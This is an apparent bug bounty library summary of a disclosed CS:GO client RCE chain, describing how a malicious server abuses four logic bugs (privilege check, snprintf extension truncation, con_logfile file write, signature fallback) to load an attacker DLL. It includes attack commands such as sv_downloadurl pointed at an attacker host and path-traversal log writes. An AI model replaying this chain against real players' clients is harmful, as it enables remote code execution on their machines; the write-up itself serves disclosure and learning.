# CS:GO: From Zero to 0-day

Four chained logic bugs in CS:GO let a malicious server execute privileged commands, download a DLL, and achieve client RCE on reconnect.

- Payout: $7,500
- Severity: critical
- Program: Valve
- Credited: Felipe, Alain
- Disclosed: 2023-05-13
- Write-up quality: 9/10
- Original: https://neodyme.io/blog/csgo_from_zero_to_0day/
- Library page: https://bugbountylibrary.com/r/blog%3Aneodyme-io-blog-csgo-from-zero-to-0day
- Tags: domain:desktop impact:rce kind:bounty platform:blog sev:critical tech:windows technique:chained technique:source-review vuln:access-control vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** CS:GO game client / Source engine network protocol
**Root cause:** Server-type check trusts attacker-supplied m_nMaxClients=1 to grant single-player privileges; snprintf truncation in fast_dl and con_logfile strips extensions; overwriting unloaded client.dll forces insecure mode fallback.
**Steps:**
1. Connect client to malicious Python CS:GO server sending `m_nMaxClients=1` to gain privileged command execution (Bug 1).
2. Send `sv_downloadurl=http://<attacker>/` to enable fast_dl HTTP downloads.
3. Send `con_logfile cfg/leak.log`, `path`, `con_logfile disable`, `exec leak.log` to write and execute config leaking GAMEBIN.
4. Force reconnect; client sends CVars including GAMEBIN back to server.
5. Craft downloadtable filenames sized so snprintf truncates `.stf`, downloading `exploit/bin/matchmaking.dll` and `gameinfo.txt` (Bug 2).
6. Use `con_logfile ././[...]/bin/client.dll.log` to overwrite unloaded client.dll with text (Bug 3).
7. Client crashes; on restart DLL hash check fails, falls back to `-insecure`, loads overwritten gameinfo.txt SearchPaths (Bug 4).
8. Engine LoadLibraryA loads malicious `exploit/bin/matchmaking.dll` -> RCE.
**How found:** Sent `quit` via CNETMsg_StringCmd to test custom server and found it executed; SourceMod comparison showed FCVAR_SERVER_CAN_EXECUTE normally blocks it, leading to m_nMaxClients server-type check. Code analysis of fast_dl snprintf revealed truncation; searched binary for privileged commands and found con_logfile write; identified client.dll still verified but unloaded to force insecure fallback.
**Exploitation:** Attacker runs a malicious CS:GO server; victim connects. Privileged commands write a config leaking install path, fast_dl downloads a malicious matchmaking.dll and gameinfo.txt, con_logfile corrupts client.dll to force insecure mode on restart, then the engine loads the attacker DLL from the injected SearchPath.
**Escalation:** Chained four independent logic bugs (privileged command exec, extension-strip download, arbitrary text write, signature-check fallback) into full client RCE.
**Insight:** When a server tells the client its own privilege level (m_nMaxClients), test boundary values like 1 to unlock single-player-only command paths; also look for snprintf length truncation that strips security-relevant file extensions.